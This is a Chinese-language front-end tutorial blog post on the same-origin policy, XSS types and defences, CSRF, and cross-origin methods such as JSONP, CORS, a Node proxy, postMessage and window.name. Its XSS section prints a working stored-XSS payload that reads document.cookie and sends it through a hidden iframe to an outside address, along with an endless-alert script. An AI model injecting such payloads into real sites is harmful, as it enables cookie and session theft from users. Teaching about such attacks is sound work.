前端网络安全与跨域

同源策略

所谓同源策略,就是“协议+域名+端口号”三者相同。即便两个域名指向同一个IP地址,也是非同源

同源策略是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,浏览器很容易收到XSS/CSRF等网络攻击。

同源策略限制的内容有:

  • cookie / localstorage / indexDB 等存储性内容
  • DOM节点
  • ajax请求发送出去后,结果被浏览器拦截掉。

跨域请求并不是发送不出去请求,请求能发送出去,服务器端也能接收并能正确返回结果,只是结果被浏览器拦截了。同时也说明了跨域并不能完全阻止CSRF,因为请求发送出去了。

XSS

XSS (Cross-Site Scripting) 即跨站点脚本攻击。顾名思义就是通过向网站可入js脚本来实现网络攻击

XSS类型

XSS攻击分为三种:

  • 存储型XSS:攻击者将恶意代码提交到目标网站的数据库中,服务器将带有恶意代码的页面返回给浏览器解析,执行恶意代码,从而盗取用户信息或者冒充用户的行为。例如:论坛发帖/商品评价/用户私信等。
  • 反射型XSS:攻击者构造特殊的url,其中包含恶意代码。用户打开url,服务器将恶意代码从url中取出,拼接到html返回给浏览器解析,执行恶意代码从而盗取用户信息或者冒充用户的行为。例如:网站搜索、跳转等
  • dom型XSS:攻击者构造特殊的url,其中包含恶意代码。用户打开url,前端javascript将恶意代码从url中取出,拼接在html返回浏览器解析,执行恶意代码,从而盗取用户信息或者冒充用户的行为。

dom型和前两种xss攻击等区别是:拼接恶意代码由浏览器完成,属于前端javascript自身的安全漏洞,而其他两种属于服务器的安全漏洞。

XSS防御

  • 存储型和反射型XSS攻击:两者都是服务器取出恶意代码后,插入到html里面,被浏览器执行

    1. 改成纯前端渲染,把代码和数据分隔开
    2. 对html做充分转译
  • dom型XSS攻击:就是网站前端javascript代码不严谨,把不可信的数据当作代码执行了

    1. 在使用.innerHtml/.outerHtml/document.write时要非常小心,不可把不可信的数据作为html插到网页中
    2. dom内敛事件监听器,如location/onclick/onerror/onload/onmousemove等,<a>标签的href属性,javascript红的eval/setTimeout/setInterval等都可把字符串作为代码运行。如果把不可信的数据拼接到字符串传递给这些api,很容易出现安全隐患,务必避免
  • 输入内容长度控制:对于不受信任的输入,都应该先定一个合理的长度。虽然无法完全防止XSS发生,但可以增加XSS攻击的难度

  • 其他安全措施:

    1. http-only Cookie:禁止javascript读取某些敏感cookie,攻击者完成xss注入后也无法窃取cookie

    2. 验证码:防止冒充用户提交危险的操作

    3. 检查referer:即检查请求头的来源网站,从而保证此次请求来源于信任的网站

XSS例子

发帖子例子1:

// 帖子内容为
while(true) {
	alert('你关不掉我')      
}

当用户访问我的帖子时,用户的所有操作都由我这串代码掌握。这就是最原始的脚本注入。

发帖子例子2:

//帖子内容为
<script type="text/javascript">
  (function(window, document) {
    var cookies = document.cookie
    var xssurl = `http://192.168.123.123/myxss/${window.encodeURI(cookies)}`
    var iframe_unvisible = document.createElement('iframe')
    iframe_unvisible.height = 0
    iframe_unvisible.width = 0
    iframe_unvisible.style.display = 'none'
    iframe_unvisible.src = xssurl
    document.body.appendChild(iframe_unvisible)
  })(window, document)
</script>

当用户访问该帖子时,就会把用户的cookie信息传输到http://192.168.123.123/myxss/这段服务器,然后服务器的代码就可以接收到了用户的隐私信息,继而继续做其他的业务处理。

但是这仅仅是XSS,并没有发生CSRF,因为仅仅盗取了用户信息,并没有“伪造”用户发起一些请求。如果192.168.123.123/myxss/index.php 写的代码是将当前用户的昵称改为“我是大笨猪”,那么就算是CSRF攻击了,因为这段代码伪造用户发出了请求(但是用户却不自知)。

CSRF

CSRF (Cross-Site Request Forgery) 即跨站点伪造请求。该攻击可以在受害者毫不知情的情况下以受害者的名义伪造请求发送给受攻击站点,从而在未授权的情况下执行权限保护之下的操作具有很大的危害性。

跨域

当一个请求url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域

受限于同源策略,有些场景是需要跨域请求的。有以下几种方式可以实现:jsonp、cors、postMessage、Node中间件、window.name+iframe、window.hash+iframe、window.domain+iframe。

JSONP

JSONP是利用script标签没有跨域限制的漏洞,网页可以得到从其他来源动态生成的json数据。jsonp请求一定需要对方的服务器做支持才可以。

JSONP和AJAX相同,都是客户端向服务器端发送请求,从服务器端获取数据的方式。但AJAX属于同源策略,JSONP属于非同源策略(跨域请求)。

JSONP优点是简单兼容性好,可用于解决主流浏览器的跨域数据访问的问题。缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击。

JSONP的实现过程
  1. 声明一个回调函数,其函数名(如CALLBACK)当做参数值,要传递给跨域请求数据的服务器,函数形参为要获取目标数据(服务器返回的data)。
  2. .创建一个<script>标签,把那个跨域的API数据接口地址,赋值给script的src,还要在这个地址中向服务器传递该函数名(可以通过问号传参:?callback=CALLBACK)。
  3. 服务器接收到请求后,需要进行特殊的处理:把传递进来的函数名和它需要给你的数据拼接成一个字符串,例如:传递进去的函数名是CALLBACK,它准备好的数据是CALLBACK(‘我爱你’)。
  4. 最后服务器把准备的数据通过HTTP协议返回给客户端,客户端再调用执行之前声明的回调函数(CALLBACK),对返回的数据进行操作
JSONP的实例
  1. 首先创建一个html页面,在页面内运用Promise创建一个jsonp函数,并发起jsonp请求

    <script type="text/javascript">
      const jsonp = function({
        data,
        url
      }){
        return new Promise((resolve) => {
          const callback = 'CALLBACK'
          const script = document.createElement('script')
          script.setAttribute('type', 'text/javascript')
          window[callback] = function(data) {
            resolve(data)
            document.body.removeChild(script)
          }
          let baseUrl = `${url}?callback=${callback}`
          Object.keys(data).forEach(x => {
            baseUrl += `&${x}=${data[x]}`
          })
          console.log('url:', baseUrl)
          document.body.appendChild(script)
          script.src = baseUrl
        })
      }
      jsonp({
        url: 'http://localhost:8081/users',
        data: {
          name: 'along',
          sex: 'male'
        }
      }).then(data => {
        console.log('data:', data)
      })
    </script>
    
  2. 然后创建node.js文件,生成一个http服务,对发起的请求做处理并响应

    const express = require('express')
    const http = require('http')
    const logger = require('morgan')
    const app = express()
    
    app.use(logger('dev'))
    app.get('/users', (req, res) => {
      console.log(req.query)
      const { callback, ...params } = req.query
      var data = `${callback}(
        '这里是响应内容'
      )`
      res.send(data)
    })
    
    http.createServer(app).listen(8081)
    
  3. 运行node.js,并打开页面查看响应情况

CORS

cors(cross-origin resource sharing):跨域资源共享是一种机制,它使用额外的HTTP头来告诉浏览器,让运行一个origin上的web应用被准许访问来自不同源服务器上的指定的资源。浏览器会自动进行cors通信,实现cors通信的关键是后端。只要后端实现了cors,就实现了跨域。

根据请求情况分为简单请求和复杂请求

简单请求
  • 满足条件1:使用GET、HEAD或者POST方法
  • 满足条件2:Content_type的值仅限于:text/plain、multipart/form-data、application/x-www-form-urlencoded
  • 请求中的任意XMLHttpRequestUpload对象均没有注册任何事件监听器;XMLHttpRequestUpload对象可以使用XMLHttpRequest.upload属性访问
复杂请求

不满足简单请求的即为复杂请求

复杂请求的cors请求,会在正式通信之前,增加一次http查询请求,称为‘预检’请求,该请求是options方法,通过该请求来知道服务端是否允许跨域请求

CORS实现
  1. 创建一个html页面,用于发送跨域请求

    <script>
      function ajax({
        method,
        url,
        data
      }) {
        return new Promise(resolve => {
          const xhr = new XMLHttpRequest()
          xhr.open(method, url, true)
          xhr.send(data)
          xhr.onreadystatechange = function() {
            if (xhr.readyState === 4) {
              if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304) {
                resolve(xhr.response)
              }
            }
          }
        })
      }
    
      ajax({
        method: 'put',
        url: 'http://localhost:8081/users',
        data: {
          name: 's_alone',
          sex: 'male'
        }
      }).then(data => {
        console.log('response data', data)
      })
    </script>
    
  2. 创建js文件用于创建http服务

    const express = require('express')
    const http = require('http')
    const logger = require('morgan')
    const app = express()
    
    app.use(logger('dev'))
    let whiteList = ['http://localhost:5500']; // 设置白名单 
    app.use(function(req, res, next) {
      const { origin } = req.headers
      if (whiteList.includes(origin)) {
        res.setHeader('Access-Control-Allow-Origin', origin) // 设置哪个源可以访问我
        // 不设置 Access-Control-Allow-Methods 默认为get post head
        res.setHeader('Access-Control-Allow-Methods', 'PUT') // 允许哪个方法访问我
        res.setHeader('Access-Control-Allow-Credentials', true); // 允许携带cookie
        res.setHeader('Access-Control-Allow-Header', 'name'); // 允许携带哪个头来访问我
        res.setHeader('Access-Control-Expose-Headers', 'name'); // 允许返回的头
        console.log('method:', req.method)
        if (req.method == 'OPTIONS') {
          res.end(); // OPTION请求不做任何处理
        } else {
          next()
        }
      } else {
        next()
      }
    })
    app.put('/users', (req, res) => {
      res.send('8081端口')
    })
    
    http.createServer(app).listen(8081)
    
  3. 运行node.js,并打开页面查看响应情况

node代理服务器

同源策略是浏览器需要遵守的标准,而如果是服务器向服务器请求就无需遵循同源策略了。

实现过程

虽然目标服务器(8082)不支持CORS,但是可以向一个支持CORS的代理服务器(8081)发送请求,由代理服务器转发请求到目标服务器,把目标服务器的响应返回给客户端。

node代理服务器实现
  1. 首先创建html页面,发送跨域请求

    <script>
      function ajax({
        method,
        url,
        data
      }) {
        return new Promise(resolve => {
          const xhr = new XMLHttpRequest()
          xhr.open(method, url, true)
          xhr.send(data)
          xhr.onreadystatechange = function() {
            if (xhr.readyState === 4) {
              if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304) {
                console.log(xhr.response);
                resolve(xhr.response)
              }
            }
          }
        })
      }
    
      ajax({
        method: 'post',
        url: 'http://localhost:8081/users',
        data: {
          name: 's_alone',
          sex: 'male'
        }
      }).then(data => {
        console.log('response data', data)
      })
    </script>
    
  2. 创建sever8081.js及server8082.js,创建代理服务器及目标服务器

    // server8081.js
    const http = require('http')
    const express = require('express')
    const logger = require('morgan')
    
    const app = express()
    app.use(logger('dev'))
    app.all('*', function(req, res) {
      res.setHeader('Access-Control-Allow-Origin', '*')
      res.setHeader('Access-Control-Allow-Methods', '*')
      res.setHeader('Access-Control-Allow-Headers', 'Content-Type')
      
      const { url, method, headers } = req
      // 转发请求到目标服务器
      const targetSrv = http.request({
        host: '127.0.0.1',
        port: 8082,
        path: url,
        method,
        headers
      }, response => {
        let body = ''
        response.on('data', (data) => {
          body += data
        })
        // 目标服务器响应结束时,代理服务器把拿到的响应返回给客户端
        response.on('end', () => {
          res.end(body)
        })
      })
      targetSrv.end()
    })
    http.createServer(app).listen(8081)
    
    
    // server8082.js
    const http = require('http')
    const express = require('express')
    const logger = require('morgan')
    
    const app = express()
    app.use(logger('dev'))
    app.post('/users', (req, res) => {
      res.end('server8082 response data')
    })
    http.createServer(app).listen(8082)
    
  3. 运行server,在页面上看效果

以上代码实现本地文件(localhost:5500)index.html文件,通过代理服务器http://localhost:8081向目标服务器http://localhost:8082请求数据。即使8082服务不支持跨域请求。

window.postMessage

postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一

它可用于解决以下方面的问题:

  1. 页面和其打开的新窗口的数据传递。
  2. 多窗口之间消息传递。
  3. 页面与嵌套的iframe消息传递。

postMessage(message, targetOrigin, [transfer])方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。

  • message:将要发送到其他 window的数据。
  • targetOrigin:通过窗口的origin属性来指定哪些窗口能接收到消息事件,其值可以是字符串”*”(表示无限制)或者一个URI。
  • transfer(可选):是一串和message 同时传递的 Transferable 对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
实例

在本地3000端口有a.html页面,而在该页面中有一个用iframe内嵌的4000端口的b.html。我们要做的就是让这两个不同端口的页面相互通信。

  1. 首先创建a.html(localhost:3000)。在页面中通过postMessage向4000端口的b.html发送一个消息

    <iframe src="http://localhost:4000/b.html" frameborder="0" id="frame" οnlοad="load()"></iframe>
    <script>
    function load() {
      let frame = document.getElementById('frame');
      frame.contentWindow.postMessage('我爱你', 'http://localhost:4000'); //发送数据
      window.onmessage = function(e) { //接受返回数据
      	console.log(e.data);
      }
    }
    </script>
    
  2. 创建b.html(localhost:4000)。在页面中通过监听onmessage事件,来读取消息,并用postMessage响应数据

    <script>
    window.onmessage = function(e) {
      console.log('data:', e.data)
      e.source.postMessage('我不爱你', e.origin)
    }
    </script>
    
  3. 在页面查看效果

window.name + iframe

window.name属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)

既然对于同一个窗口,它的window.name会一直保留,那么我们可以利用这个特性来实现不同域的通信

实例

端口8001有两个页面a.html/b.html,端口8002有页面c.html。现在要实现a.html与c.html进行通信。

  1. 首先创建a.html。 b为空白页,用于代理通信

    <iframe src="http://localhost:8002/c.html" frameborder="0" onload="load()" id="iframe"></iframe>
    <script>
      let first = true
      const iframe = document.getElementById('iframe')
      function load() {
        if (first) {
          first = false
          iframe.src = http://localhost:8002/b.html
        } else {
          console.log(iframe.contentWindow.name)
        }
      }
    </script>
    
  2. 然后创建c.html

    <script>
      window.name = '我不爱你';
    </script>
    
  3. 启动服务,打开页面,查看效果

为何要利用b页面来实现通信?虽然对于同一个窗口,它的window.name一直保留,但是对于不同的域依然遵循同源策略,所以要想访问它,就需要在同域下访问。所以就需要在这个iframe窗口打开同一端口的b页面。

其他

  • window.hash + iframe:不同域可通过hash通信

    端口8001有两个页面a.html/b.html,端口8002有页面c.html。在a页面中通过iframe内嵌来c页面,它hash值为a要传递给c的数据。在页面c可通过window.location获取a向c传递的数据,但要从c向a传递数据就不那么容易了。需要在c页面通过iframe内嵌一个与a同源的b页面,并设置hash为c要传递给a的数据。这时b可获取它自己hash值即c要传递给a的数据,而b与a同源所以可以直接与a的window通信-window.parent.parent.location.hash = location.hash,这时只需要在a监听window.onhashchange即可完成c向a的通信。

  • window.domain + iframe

    该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式

  • nginx反向代理

    与node代理服务器相似,只是他是代理的目标服务器而非客户端。相关实例可浏览我的另一篇文章nginx学习

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

s-alone

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值